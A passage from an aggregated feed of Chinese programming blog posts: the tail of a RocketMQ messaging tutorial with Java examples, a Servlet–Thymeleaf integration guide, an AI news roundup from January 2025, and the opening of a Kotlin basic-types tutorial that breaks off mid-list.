  • -c DefaultCluster:指定集群名称,这里是 DefaultCluster,你可以根据实际情况修改为你所使用的集群名称。
  • -r 8:设置读队列的数量为 8。
  • -w 8:设置写队列的数量为 8。
  • -o true:将 order 参数设置为 true,表示该 Topic 是一个支持顺序消息的 Topic。

下面是一个使用 Java 代码实现顺序消息发送和接收的示例:

import org.apache.rocketmq.client.exception.MQBrokerException;
import org.apache.rocketmq.client.exception.MQClientException;
import org.apache.rocketmq.client.producer.DefaultMQProducer;
import org.apache.rocketmq.client.producer.MessageQueueSelector;
import org.apache.rocketmq.client.producer.SendResult;
import org.apache.rocketmq.common.message.Message;
import org.apache.rocketmq.common.message.MessageQueue;
import org.apache.rocketmq.remoting.exception.RemotingException;

import java.util.List;

public class Producer {
    public static void main(String[] args) throws MQClientException, MQBrokerException, RemotingException, InterruptedException {
        // 创建一个生产者实例,指定生产者组名
        DefaultMQProducer producer = new DefaultMQProducer("OrderTopicProducerGroup");
        // 设置NameServer的地址
        producer.setNamesrvAddr("localhost:9876");
        // 启动生产者
        producer.start();
        // 订单ID
        String orderId = "123456";
        // 创建一条消息,指定主题、标签和消息体
        Message message = new Message("OrderTopic", "CreateOrder", ("创建订单:" + orderId).getBytes());
        // 发送消息,使用MessageQueueSelector确保消息发送到同一队列
        SendResult sendResult = producer.send(message, new MessageQueueSelector() {
            @Override
            public MessageQueue select(List<MessageQueue> mqs, Message msg, Object arg) {
                String id = (String) arg;
                // 这里简单地根据订单ID取模选择队列,确保同一订单的消息在同一队列
                int index = Math.abs(id.hashCode()) % mqs.size();
                return mqs.get(index);
            }
        }, orderId);
        System.out.println(sendResult);
        // 关闭生产者
        producer.shutdown();
    }
}
import org.apache.rocketmq.client.consumer.DefaultMQPushConsumer;
import org.apache.rocketmq.client.consumer.listener.ConsumeOrderlyStatus;
import org.apache.rocketmq.client.consumer.listener.MessageListenerOrderly;
import org.apache.rocketmq.client.exception.MQClientException;
import org.apache.rocketmq.common.message.MessageExt;

public class Consumer {
    public static void main(String[] args) throws MQClientException {
        // 创建一个消费者实例,指定消费者组名
        DefaultMQPushConsumer consumer = new DefaultMQPushConsumer("OrderTopicConsumerGroup");
        // 设置NameServer的地址
        consumer.setNamesrvAddr("localhost:9876");
        // 订阅主题
        consumer.subscribe("OrderTopic", "*");
        // 注册顺序消息监听器
        consumer.registerMessageListener((MessageListenerOrderly) (messageList, context) -> {
            for (MessageExt msg : messageList) {
                System.out.println(new String(msg.getBody()));
            }
            return ConsumeOrderlyStatus.SUCCESS;
        });
        // 启动消费者
        consumer.start();
    }
}

(三)定时 / 延时消息:精准的定时任务

在实际业务中,我们常常会遇到需要定时执行某些任务的场景,比如定时发送邮件通知、定时清理过期数据等。RocketMQ 的定时 / 延时消息就为我们提供了一种便捷的解决方案。

定时 / 延时消息允许我们在发送消息时指定一个延迟时间或定时时间,消息在到达指定时间后才会被消费者消费。这种特性使得它在任务调度、定时提醒等场景中有着广泛的应用。在电商系统中,对于用户下单后一段时间未支付的订单,我们可以发送一条定时消息,在订单创建后的 30 分钟触发。当消费者接收到这条消息时,检查订单状态,如果仍未支付,则自动取消订单,将商品放回库存。这样既保证了订单的时效性,又减轻了系统的实时处理压力 。

在一些需要定时进行数据备份或系统维护的场景中,定时 / 延时消息也能发挥重要作用。例如,我们可以在每天凌晨 2 点发送一条定时消息,触发数据备份任务,确保数据的安全性和完整性。通过合理设置定时 / 延时消息,我们能够实现系统的自动化运维,提高系统的稳定性和可靠性。

首先创建一个延时消息topic

sh mqadmin updateTopic -n localhost:9876 -t DelayTopic -c DefaultCluster -r 8 -w 8
  • sh mqadmin updateTopic:使用 mqadmin 工具的 updateTopic 子命令。
  • -n localhost:9876:指定 NameServer 的地址和端口,这里是 localhost:9876,可根据实际情况修改。
  • -t DelayTopic:指定要创建的 Topic 名称,这里使用 DelayTopic 作为示例,可根据需要进行替换。
  • -c DefaultCluster:指定集群名称,这里使用 DefaultCluster,根据实际使用的集群修改。
  • -r 8:设置读队列的数量为 8,可以根据实际的业务情况进行调整。
  • -w 8:设置写队列的数量为 8,同样可根据业务需求调整。

下面是一个使用 Java 代码发送定时 / 延时消息的示例:

import org.apache.rocketmq.client.exception.MQBrokerException;
import org.apache.rocketmq.client.exception.MQClientException;
import org.apache.rocketmq.client.producer.DefaultMQProducer;
import org.apache.rocketmq.client.producer.SendResult;
import org.apache.rocketmq.common.message.Message;
import org.apache.rocketmq.remoting.exception.RemotingException;

public class Producer {
    public static void main(String[] args) throws MQClientException, MQBrokerException, RemotingException, InterruptedException {
        // 创建一个生产者实例,指定生产者组名
        DefaultMQProducer producer = new DefaultMQProducer("DelayTopicProducerGroup");
        // 设置NameServer的地址
        producer.setNamesrvAddr("localhost:9876");
        // 启动生产者
        producer.start();
        // 创建一条消息,指定主题、标签和消息体
        Message message = new Message("DelayTopic", "*", "定时任务消息".getBytes());
        // 设置延时等级,这里假设延时等级1表示10秒后投递(具体延时时间根据RocketMQ配置)
        // messageDelayLevel=1s 5s 10s 30s 1m 2m 3m 4m 5m 6m 7m 8m 9m 10m 20m 30m 1h 2h
        int delayLevel = 1;
        // 发送延时消息
        SendResult sendResult = producer.send(message, delayLevel);
        System.out.println(sendResult);
        // 关闭生产者
        producer.shutdown();
    }
}
import org.apache.rocketmq.client.consumer.DefaultMQPushConsumer;
import org.apache.rocketmq.client.consumer.listener.ConsumeOrderlyStatus;
import org.apache.rocketmq.client.consumer.listener.MessageListenerOrderly;
import org.apache.rocketmq.client.exception.MQClientException;
import org.apache.rocketmq.common.message.MessageExt;

public class Consumer {
    public static void main(String[] args) throws MQClientException {
        // 创建一个消费者实例,指定消费者组名
        DefaultMQPushConsumer consumer = new DefaultMQPushConsumer("DelayTopicConsumerGroup");
        // 设置NameServer的地址
        consumer.setNamesrvAddr("localhost:9876");
        // 订阅主题
        consumer.subscribe("DelayTopic", "*");
        // 注册顺序消息监听器
        consumer.registerMessageListener((MessageListenerOrderly) (messageList, context) -> {
            for (MessageExt msg : messageList) {
                System.out.println(new String(msg.getBody()));
            }
            return ConsumeOrderlyStatus.SUCCESS;
        });
        // 启动消费者
        consumer.start();
    }
}

在 RocketMQ 中,消费定时 / 延时消息的代码与消费普通消息的代码基本相同,消费者不需要特殊处理即可接收并处理到达时间的定时 / 延时消息。

(四)事务消息:分布式事务的利器

在分布式系统中,保证事务的一致性是一个极具挑战性的问题。RocketMQ 的事务消息为我们提供了一种有效的解决方案,它能够确保本地事务与消息发送的最终一致性。

事务消息的工作原理基于两阶段提交(2PC)和事后补偿机制。具体来说,生产者首先发送一条半事务消息(即消息已经发送到 Broker,但标记为暂不能投递),然后执行本地事务。如果本地事务执行成功,生产者向 Broker 提交事务确认,Broker 将半事务消息标记为可投递,消费者可以消费该消息;如果本地事务执行失败,生产者向 Broker 回滚事务,Broker 丢弃该半事务消息。如果 Broker 在一定时间内未收到生产者的事务确认,它会主动回查生产者的本地事务状态,生产者根据实际情况进行提交或回滚操作,从而保证了事务的最终一致性。

在电商下单场景中,当用户下单时,系统需要同时完成创建订单和扣减库存这两个操作。我们可以使用事务消息来确保这两个操作要么都成功,要么都失败。生产者首先发送一条事务消息,包含订单信息和库存扣减信息。然后执行本地事务,创建订单并尝试扣减库存。如果库存扣减成功,生产者向 Broker 提交事务确认,消费者可以接收到消息并进行后续处理,如发送订单确认邮件给用户;如果库存扣减失败,生产者回滚事务,Broker 丢弃消息,避免了因库存不足但订单已创建而导致的业务不一致问题 。

首先创建一个事物消息topic

sh mqadmin updateTopic -n localhost:9876 -t TransactionTopic -c DefaultCluster -r 8 -w 8
  • sh mqadmin updateTopic:使用 mqadmin 工具的 updateTopic 子命令。
  • -n localhost:9876:指定 NameServer 的地址和端口,这里是 localhost:9876,可根据实际情况修改。
  • -t TransactionTopic:指定要创建的 Topic 名称,这里使用 TransactionTopic 作为示例,可根据实际需求更改。
  • -c DefaultCluster:指定集群名称,这里使用 DefaultCluster,根据使用的集群进行修改。
  • -r 8:设置读队列的数量为 8,可以根据业务需求调整。
  • -w 8:设置写队列的数量为 8,同样可按需调整。

下面是一个使用 Java 代码实现事务消息的示例:

import org.apache.rocketmq.client.exception.MQClientException;
import org.apache.rocketmq.client.producer.LocalTransactionState;
import org.apache.rocketmq.client.producer.SendResult;
import org.apache.rocketmq.client.producer.TransactionListener;
import org.apache.rocketmq.client.producer.TransactionMQProducer;
import org.apache.rocketmq.common.message.Message;
import org.apache.rocketmq.common.message.MessageExt;

import java.util.concurrent.TimeUnit;

public class Producer {
    public static void main(String[] args) throws MQClientException, InterruptedException {
        // 创建一个事务生产者实例,指定生产者组名
        TransactionMQProducer producer = new TransactionMQProducer("TransactionTopicProducerGroup");
        // 设置NameServer的地址
        producer.setNamesrvAddr("localhost:9876");
        // 设置事务监听器
        producer.setTransactionListener(new TransactionListener() {
            @Override
            public LocalTransactionState executeLocalTransaction(Message msg, Object arg) {
                // 执行本地事务,这里简单模拟创建订单和扣减库存操作
                try {
                    // 模拟创建订单成功
                    System.out.println("创建订单成功");
                    // 模拟扣减库存成功
                    System.out.println("扣减库存成功");
                    return LocalTransactionState.COMMIT_MESSAGE;
                } catch (Exception e) {
                    // 本地事务执行失败,回滚事务
                    System.out.println("本地事务执行失败,回滚事务");
                    return LocalTransactionState.ROLLBACK_MESSAGE;
                }
            }

            @Override
            public LocalTransactionState checkLocalTransaction(MessageExt msg) {
                // 检查本地事务状态,这里简单返回COMMIT_MESSAGE表示事务已提交
                System.out.println("检查本地事务状态,事务已提交");
                return LocalTransactionState.COMMIT_MESSAGE;
            }
        });
        // 启动生产者
        producer.start();
        // 创建一条消息,指定主题、标签和消息体
        Message message = new Message("TransactionTopic", "*", "创建订单事务消息".getBytes());
        // 发送事务消息
        SendResult sendResult = producer.sendMessageInTransaction(message, null);
        System.out.println(sendResult);
        // 保持主线程运行,以便观察事务处理结果
        TimeUnit.MINUTES.sleep(5);
        // 关闭生产者
        producer.shutdown();
    }
}
import org.apache.rocketmq.client.consumer.DefaultMQPushConsumer;
import org.apache.rocketmq.client.consumer.listener.ConsumeConcurrentlyContext;
import org.apache.rocketmq.client.consumer.listener.ConsumeConcurrentlyStatus;
import org.apache.rocketmq.client.consumer.listener.MessageListenerConcurrently;
import org.apache.rocketmq.client.exception.MQClientException;
import org.apache.rocketmq.common.message.MessageExt;

import java.util.List;

public class Consumer {
    public static void main(String[] args) throws MQClientException {
        // 创建一个消费者实例,指定消费者组名
        DefaultMQPushConsumer consumer = new DefaultMQPushConsumer("TransactionTopicConsumerGroup");
        // 设置NameServer的地址
        consumer.setNamesrvAddr("localhost:9876");
        // 订阅主题
        consumer.subscribe("TransactionTopic", "*");
        // 注册消息监听器,处理接收到的消息
        consumer.registerMessageListener(new MessageListenerConcurrently() {
            @Override
            public ConsumeConcurrentlyStatus consumeMessage(List<MessageExt> messageList, ConsumeConcurrentlyContext context) {
                for (MessageExt msg : messageList) {
                    System.out.println(new String(msg.getBody()));
                }
                return ConsumeConcurrentlyStatus.CONSUME_SUCCESS;
            }
        });
        // 启动消费者
        consumer.start();
    }
}

四、总结

RocketMQ 以其卓越的性能、丰富的特性和强大的功能,在分布式架构的舞台上大放异彩。它不仅为系统提供了高效的解耦能力,确保了各模块之间的独立运作,还在流量削峰填谷、消息可靠传输等方面发挥着关键作用。无论是普通消息的广泛应用,还是顺序消息对业务逻辑的严格保障;无论是定时 / 延时消息对任务调度的精准控制,还是事务消息对分布式事务一致性的有力维护,RocketMQ 都展现出了其作为一款优秀消息队列的独特魅力。

在当今数字化浪潮汹涌澎湃的时代,分布式架构的应用场景日益广泛,RocketMQ 的发展前景也极为广阔。随着云计算、大数据、人工智能等新兴技术的不断崛起,对消息队列的性能、可靠性和扩展性提出了更高的要求。RocketMQ 凭借其不断演进的技术和强大的社区支持,有望在这些领域中持续发挥重要作用,助力企业构建更加高效、稳定、智能的分布式系统 。

希望通过本文的介绍,能够激发大家对 RocketMQ 的浓厚兴趣,鼓励大家深入探索 RocketMQ 的更多奥秘。在实际项目中,大胆尝试运用 RocketMQ 的各种特性,解决复杂的业务问题,为分布式系统的构建贡献自己的智慧和力量。相信在 RocketMQ 的陪伴下,我们能够在分布式技术的海洋中乘风破浪,驶向更加美好的未来。

by 简单的东西为什么越来越复杂 at January 18, 2025 10:07 AM

JavaWeb进阶指南:Servlet与Thymeleaf整合全流程详解

大家好,我是袁庭新。今天介绍Servlet和Thymeleaf的整合过程。接下来,让我们一同深入探究其详细步骤与操作要点。

1.下载Thymeleaf依赖

想要使用Thymeleaf进行JavaWeb应用的开发,第一步就是要下载Thymeleaf的依赖包,具体步骤如下。

1.1 手动下载Thymeleaf依赖

1.使用浏览器访问Thymeleaf官网(www.thymeleaf.org),选择上方的【Download】按钮,如下图。

从上图可知,Thymeleaf当前最新版本为Thymeleaf 3.1.2.RELEASE,该版本要求Java SE的版本为8或更新的版本,这里我们使用的Java SE版本为11。

2.Thymeleaf官网为我们提供了多种引入Thymeleaf依赖的方式,例如Maven、Gradle以及直接下载Thymeleaf分发包和源码等。我们可以根据需要选择合适自己的方式来下载Thymleaf的依赖,如下图。

3.点击【Distribution packages】下方的【GitHub's releases distribution】链接,如下图所示。

4.跳转到GitHub页面,在Thymeleaf 3.1.2.RELEASE下的【Assets】中,点击“thymeleaf-3.1.1.RELEASE-dist.zip”下载发行包,如下图。

5.下载完成后,解压thymeleaf-3.1.2.RELEASE-dist.zip压缩包,可得到以下目录结构。

1.2 坐标下载Thymeleaf依赖

采用上述手动方式下载Thymeleaf依赖过于麻烦,如果我们的项目是Maven类型,将Thymeleaf添加到项目中最简单的方式是,并利用中央存储库中的Thymeleaf,你只需将所需的Thymeleaf依赖项添加到你的项目的pom.xml中即可。例如:

<dependency>
  <groupId>org.thymeleaf</groupId>
  <artifactId>thymeleaf</artifactId>
  <version>3.1.2.RELEASE</version>
</dependency>

2.配置模板引擎

2.1 模板引擎介绍

Thymeleaf的核心依赖包(thymeleaf-3.1.2.RELEASE.jar)中提供了一个名为TemplateEngine(模板引擎)的类。TemplateEngine类是Thymeleaf中最核心、最重要的类之一,Thymeleaf就是通过它来解析模板文件(例如HTML文件、XML文件、CSS文件等),最终渲染成动态网页进行展示的。

TemplateEngine类中包含了许多实用方法,其中最常用的就是下表中列出的这两个方法。

public void setTemplateResolver(final ITemplateResolver templateResolver)

在使用TemplateEngine对模板文件进行处理之前,通常都需要为它设置一个ITemplateResolver类型的对象作为其模板解析器。通过这个ITemplateResolver(模板解析器)对象,我们可以对以下内容进行设置:

  • 模板文件的路径,包括前缀(prefix)和后缀(suffix);
  • 模板模式(TemplateMode):包括HTML、XML、TEXT、JAVASCRIPT、CSS、RAM等6种模式;
  • 缓存是否可用;
  • 缓存时间等。
public final void process(final String template, final IContext context, final Writer writer)

模板引擎通过该方法实现对模板文件的解析,并最终渲染成一个动态网页。

对于一个JavaWeb应用而言,它只需要配置一个Thymeleaf模板引擎即可,因此这里我们需要使用单例模式对TemplateEngine进行配置,具体实现方式如下。

2.2 模板引擎实现

1.创建一个类型为Java Enterprise名为servlet-thymeleaf-project的JavaWeb项目。项目的GAV坐标中GroupId的值设置为com.ytx,其他保持默认。

2.在servlet-thymeleaf-project项目的pom.xml文件中添加如下的依赖。

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
  <modelVersion>4.0.0</modelVersion>

  <groupId>com.ytx</groupId>
  <artifactId>servlet-thymeleaf-project</artifactId>
  <version>1.0-SNAPSHOT</version>
  <name>servlet-thymeleaf-project</name>
  <packaging>war</packaging>

  <properties>
    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    <maven.compiler.target>11</maven.compiler.target>
    <maven.compiler.source>11</maven.compiler.source>
    <junit.version>5.8.1</junit.version>
  </properties>

  <dependencies>
    <dependency>
      <groupId>org.junit.jupiter</groupId>
      <artifactId>junit-jupiter-api</artifactId>
      <version>${junit.version}</version>
      <scope>test</scope>
    </dependency>
    <dependency>
      <groupId>org.junit.jupiter</groupId>
      <artifactId>junit-jupiter-engine</artifactId>
      <version>${junit.version}</version>
      <scope>test</scope>
    </dependency>
    <!-- Servlet依赖 -->
    <dependency>
      <groupId>jakarta.servlet</groupId>
      <artifactId>jakarta.servlet-api</artifactId>
      <version>6.0.0</version>
    </dependency>
    <!-- Thymeleaf依赖 -->
    <dependency>
      <groupId>org.thymeleaf</groupId>
      <artifactId>thymeleaf</artifactId>
      <version>3.1.2.RELEASE</version>
    </dependency>
  </dependencies>

  <build>
    <plugins>
      <plugin>
        <groupId>org.apache.maven.plugins</groupId>
        <artifactId>maven-war-plugin</artifactId>
        <version>3.3.2</version>
      </plugin>
    </plugins>
  </build>
</project>

3.这里我们引入的Servlet依赖版本是6.0.0,此版本的Servlet需要运行在Apache Tomcat 10.1.x版本上。因此,需要确保你电脑上安装的Tomcat版本正确。Apache官方对各版本的解释:tomcat.apache.org/whichversio…。这里我们对Tomcat的安装不展开介绍。

4.在servlet-thymeleaf-project项目的src目录下,创建一个com.ytx.thymeleaf包,并在该包下创建一个名为CustomTemplateEngine的Java类,通过该类对Thymeleaf的模板引擎进行配置,代码如下。

package com.ytx.thymeleaf;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import org.thymeleaf.TemplateEngine;
import org.thymeleaf.context.WebContext;
import org.thymeleaf.templatemode.TemplateMode;
import org.thymeleaf.templateresolver.WebApplicationTemplateResolver;
import org.thymeleaf.web.servlet.IServletWebExchange;
import org.thymeleaf.web.servlet.JakartaServletWebApplication;
import java.io.IOException;

/**
 * 对于一个JavaWeb应用而言,我们只需要配置一套模板引擎即可,所有的请求都通过该模板引擎来解析网页。
 * 单例模式。本类中还提供了一个对请求进行解析的方法,方便我们使用。
 */
public class CustomTemplateEngine {
    private static CustomTemplateEngine webApplication;
    private TemplateEngine templateEngine;
    private JakartaServletWebApplication application;

    /** 单例模式:构造方法私有化处理 */
    private CustomTemplateEngine(HttpServletRequest request) {
        System.out.println("设置Thymeleaf模板引擎");
        // 创建Thymeleaf的JakartaServletWebApplication对象
        application = JakartaServletWebApplication.buildApplication(request.getServletContext());
        // 创建模板解析器对象
        final WebApplicationTemplateResolver templateResolver = new WebApplicationTemplateResolver(application);
        // 设置Thymeleaf的模板模式为HTML,除此之外Thymeleaf还支持处理其他5种模板,它们分别是XML、TEXT、JAVASCRIPT、CSS、RAW
        templateResolver.setTemplateMode(TemplateMode.HTML);
        // 设置模板文件的前缀(即路径)
        templateResolver.setPrefix("/WEB-INF/templates/");
        // 设置模板文件的文件后缀
        templateResolver.setSuffix(".html");
        // 设置缓存时间
        templateResolver.setCacheTTLMs(Long.valueOf(3600000L));
        // 设置缓存是否可用,开发阶段我们需要将缓存关闭,即设置为false
        templateResolver.setCacheable(false);
        // 创建模板引擎对象
        templateEngine = new TemplateEngine();
        // 为模板引擎设置模板解析器
        templateEngine.setTemplateResolver(templateResolver);
    }

    /**
     * 获取WebApplication对象
     * @param request 请求对象
     * @return 返回CustomTemplateEngine对象
     */
    public static CustomTemplateEngine getInstance(HttpServletRequest request) {
        if (webApplication == null) {
            webApplication = new CustomTemplateEngine(request);
        }
        return webApplication;
    }

    /**
     * 处理模板文件
     * @param templateName 模板文件的名称
     * @param request 请求对象
     * @param response 响应对象
     * @throws IOException IO异常
     */
    public void processTemplate(String templateName, HttpServletRequest request, HttpServletResponse response) throws IOException {
        // 创建IServletWebExchange对象
        IServletWebExchange webExchange = application.buildExchange(request, response);
        // 创建WebContext对象
        WebContext context = new WebContext(webExchange, webExchange.getLocale());
        // 设置响应体内容类型和字符集
        response.setContentType("text/html;charset=UTF-8");
        // 处理模板数据
        templateEngine.process(templateName, context, response.getWriter());
    }
}

这里我们采用了单例模式,CustomTemplateEngine中包含了一个私有(private)的构造方法以及一个返回其自身实例的getInstance()方法。在这个私有的构造方法中,我们对模板引擎TemplateEngine对象进行了配置,并使用WebApplicationTemplateResolver对象作为其模板解析器,分别配置了模板模式、模板文件的前缀和后缀、缓存等内容。

此外,CustomTemplateEngine类中还包含了一个processTemplate()方法,该方法内部对TemplateEngine实例的process()方法进行了调用。Servlet在处理完请求后,直接调用这个方法便可以对指定的模板文件进行访问。

温馨提示:对CustomTemplateEngine这个类,我们只需要理解其基本思想和原理即可,不用刻意的去记住代码。后面我们使用SpringMVC、Spring Boot等JavaWeb框架对Thymeleaf进行整合时仍然会涉及到这些配置,那时我们都是通过配置文件实现的,使用起来也更加方便。

3.在Servlet中使用Thymeleaf

在项目的src/main/java目录下新建一个com.ytx.servlet包,并在该包下创建一个名为IndexServlet的Servlet类,代码如下。

package com.ytx.servlet;
import com.ytx.thymeleaf.CustomTemplateEngine;
import jakarta.servlet.ServletException;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.IOException;

@WebServlet("/index")
public class IndexServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        System.out.println("doGet()方法执行...");
        // 获取CustomTemplateEngine实例,对TemplateEngine对象进行配置
        CustomTemplateEngine customTemplateEngine = CustomTemplateEngine.getInstance(request);
        // 通过TemplateEngine访问页面
        customTemplateEngine.processTemplate("index", request, response);
    }

    @Override
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        doGet(request, response);
    }
}

在这个Servlet的doXxx()方法中,我们通过CustomTemplateEngine的getInstance()静态方法获取到了CustomTemplateEngine对象,然后又调用了processsTemplate()方法将响应信息发送到指定的模板文件中展示。

需要特别注意的是,由于我们已经在CustomTemplateEngine的构造方法中设置了模板文件的前缀(/WEB-INF/templates/) 和后缀为(.html),因此我们在调用processTemplate()方法时,第一个形参只需要传入模板文件的名称"index"即可(不要.html后缀),Thymeleaf会自动在"/WEB-INF/templates/"目录下寻找index.html进行解析。

4.编写模板文件

1.在servlet-thymeleaf-project项目的webapp/WEB-INF/templates/目录下,新建一个名为index.html的模板文件,代码如下。

<!DOCTYPE html>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
  <head>
    <meta charset="UTF-8">
      <title>Index主页</title>
  </head>
  <body>
    <div th:text="访问动态网页Thymeleaf">访问静态页面HTML</div>
  </body>
</html>

2.将项目部署到Tomcat服务器中,然后启动服务器。使用浏览器访问http://localhost:8080/servlet-thymeleaf-project/index,浏览器展示结果如下。

访问动态网页Thymeleaf

3.如果在启动Tomcat服务器时,IDEA控制台输出如下的错误提示日志信息,是因为执行catalina.sh脚本权限被拒绝导致的。

Error running 'Tomcat 10.1.19': Cannot run program "/Users/yuanxin/Documents/ProgramSoftware/apache-tomcat-10.1.19/bin/catalina.sh" (in directory "/Users/yuanxin/Documents/ProgramSoftware/apache-tomcat-10.1.19/bin"): error=13, Permission denied

4.解决“error=13, Permission denied”问题的方法是::进入到Tomcat的bin目录下,执行以下命令。如果Tomcat服务器在启动过程中没有此问题,则忽略[3、4]步骤。

chmod a+x catalina.sh

5.总结

本文主要介绍了 Servlet 和 Thymeleaf 的整合过程。首先需下载 Thymeleaf 依赖,可手动或通过坐标添加到项目中。接着配置模板引擎,创建项目并添加相关依赖,利用单例模式在 CustomTemplateEngine 类中设置模板模式、文件路径等信息。然后在 IndexServlet 类的 doGet 等方法中获取 CustomTemplateEngine 实例处理模板文件。最后编写 index.html 模板文件,部署到 Tomcat 服务器并访问。过程中需注意依赖版本匹配及文件权限等问题。

by 袁庭新 at January 18, 2025 09:46 AM

oschina news project

天天AI-20250118

全球首次!国产AI开源端侧GPT-4o海外爆火,8B参数iPad就能跑

量子位报道了国产AI开源端侧GPT-4o在海外的爆火,这一模型仅需8B参数,甚至能在iPad上运行。这一突破不仅展示了国产AI技术的强大实力,也为AI技术的普及和应用提供了新的可能性。来源

GPT-4私教辅导6周=在校上课2年,新研究引轰动:AI辅助越多进步越明显

量子位报道了一项新研究,指出GPT-4私教辅导6周的效果相当于在校上课2年,AI辅助学习的效果越明显。这一研究不仅展示了AI在教育领域的巨大潜力,也为未来的教育模式提供了新的思路。来源

495篇参考文献!北交大清华等高校发布多语言大模型综述

量子位报道了北交大、清华等高校发布的多语言大模型综述,该综述包含了495篇参考文献,全面总结了多语言大模型的最新进展。这一综述为研究人员和开发者提供了宝贵的参考,推动了多语言AI技术的发展。来源

材料设计重大突破!微软发布创新大模型,准确率提升10倍!

AIGC开放社区报道了微软发布的创新大模型,这一模型在材料设计领域的准确率提升了10倍。这一突破不仅展示了AI技术在材料科学中的应用潜力,也为相关领域的研究提供了新的工具。来源

斯坦福研究:ChatGPT性能,曾出现下降趋势

AIGC开放社区报道了斯坦福大学的研究,指出ChatGPT的性能曾出现下降趋势。这一研究引发了对AI模型性能稳定性的讨论,也为AI技术的进一步优化提供了参考。来源

最新扣子(coze)实战应用工作流:爆款小红书”关二爷出圈”图文智能体,超详细教程手把手教学

杰克船长的AIGC提供了最新扣子(coze)实战应用工作流的教程,特别是如何生成小红书上的“关二爷出圈”图文智能体。这一教程为开发者提供了详细的步骤和方法,降低了技术门槛,使得更多人能够参与到AI应用的开发中。来源

小红书产业链,谁是盈利最强企业?

数说商业探讨了小红书产业链中的盈利最强企业,分析了各企业在内容创作、广告投放和电商转化方面的表现。小红书作为国内领先的社交媒体平台,其产业链涵盖了从内容创作者到品牌方的多个环节。文章指出,尽管小红书的用户基数庞大,但盈利模式仍需进一步优化,以实现可持续发展。来源

OpenAI重磅:首款AI Agent曝光!

探索AGI报道了OpenAI首款AI Agent的曝光,这一新产品的发布标志着AI技术在智能代理领域的重大突破。AI Agent不仅能够自动处理多种任务,还能通过自然语言交互与用户沟通,提供个性化的服务。这一技术的应用前景广阔,从智能家居到企业自动化,AI Agent都有望发挥重要作用。来源

多智能体的魔法就得这么玩

AIGC前沿技术追踪介绍了多智能体技术的应用,展示了多个智能体如何协同工作以完成复杂任务。多智能体系统在物流、交通管理和游戏开发等领域的应用已经取得了显著成效。文章强调,通过优化智能体之间的通信和协作机制,可以进一步提升系统的整体性能和效率。来源

赶在下台前下手?拜登突然向智谱 AI 挥刀,与詹克团芯片公司齐进“黑名单”!最新回应来了

AI前线报道了拜登政府对智谱AI的政策影响,智谱AI和詹克团芯片公司被纳入“黑名单”。这一事件引发了国际科技界的广泛关注,智谱AI的负责人表示,尽管面临挑战,但公司将继续致力于AI技术的研发和应用,推动科技进步。来源

AI与软件产业的明天:中美视角的年度技术观察&前瞻 | 直播预告

AI前线预告了一场关于AI与软件产业未来的直播活动,活动将从中美视角出发,探讨AI技术在软件产业中的应用和发展趋势。直播将邀请行业专家和企业代表,共同分析当前的技术挑战和未来的发展机遇。这一活动不仅为行业人士提供了交流的平台,也为普通用户提供了了解AI发展的机会。来源

 

🔥 热门文章推荐(2AGI.NET)

扫码加入社群,参与讨论

2AGI 技术社区,欢迎扫码加入

AGI(83)AI Agent(3)AI App(1)AI Celebrity(9)AIGC(98)AI 产品工具(1)

by 来源: 投稿 at January 18, 2025 08:59 AM

juejin android

Kotlin 2.1.0 入门教程(四)

基本类型

从某种意义上说,一切都是对象,因为您可以在任何变量上调用成员函数和属性。

虽然某些类型在运行时具有优化的内部表示形式(如数字、字符、布尔值等),但它们看起来和行为都像普通类。

即使基本类型(如 IntCharBoolean 等)在运行时被优化为原始值,但它们在代码中仍然表现为对象,可以调用成员函数和属性。

fun main() {
    val number = 42
    number.toDouble() // 调用 Int 的成员函数。

    val isTrue = true
    isTrue.toString() // 调用 Boolean 的成员函数。
}

整型

对于整数,有四种类型,它们具有不同的大小,因此值范围也不同。

整数类型包括 ByteShortIntLong,它们分别具有不同的存储大小和值范围。

fun main() {
    val byte: Byte = 127 // 8 位,范围:-128 到 127。
    val short: Short = 32767 // 16 位,范围:-32768 到 32767。
    val int: Int = 2147483647 // 32 位,范围:-2^31 到 2^31 - 1。
    val long: Long = 9223372036854775807 // 64 位,范围:-2^63 到 2^63 - 1。
}

当初始化变量而没有显式指定类型时,编译器会自动推断出足以表示该值的最小范围类型,从 Int 开始。如果值不超过 Int 的范围,则类型为 Int。如果超过,则类型为 Long

要显式指定 Long 值,请在值后附加后缀 L

显式类型指定会触发编译器检查值是否超出指定类型的范围。

val one = 1 // Int
val threeBillion = 3000000000 // Long
val oneLong = 1L // Long
val oneByte: Byte = 1 // Byte

浮点型

FloatDouble 分别具有不同的存储大小和精度。

fun main() {
    val floatValue: Float = 3.14f // 32 位,单精度。
    val doubleValue: Double = 3.14 // 64 位,双精度。
}

如果使用小数初始化变量,编译器会默认推断为 Double 类型。

fun main() {
    val pi = 3.14 // Double
    // val one: Double = 1 // error
    val oneDouble = 1.0 // Double
}

要显式指定值为 Float 类型,请添加后缀 fF

如果该值包含超过 6-7 位小数,则会被四舍五入。

fun main() {
    val e = 2.7182818284 // Double
    val eFloat = 2.7182818284f // Float
    println(e) // 2.7182818284
    println(eFloat) // 2.7182817
}

与其他语言不同,Kotlin 中没有数字的隐式拓宽转换。

例如,具有 Double 参数的函数只能在 Double 值上调用,而不能在 FloatInt 或其他数值上调用。

必须显式进行类型转换才能将一种数字类型传递给另一种类型的参数。

fun printDouble(d: Double) {
    println(d)
}

fun main() {
    val intValue = 42
    val floatValue = 3.14f

    // printDouble(intValue) // 错误:类型不匹配。
    // printDouble(floatValue) // 错误:类型不匹配。

    printDouble(intValue.toDouble()) // 正确:显式转换为 Double 类型。
    printDouble(floatValue.toDouble()) // 正确:显式转换为 Double 类型。
}

数字的字面常量

整数值有以下几种字面常量:

  • 十进制:123

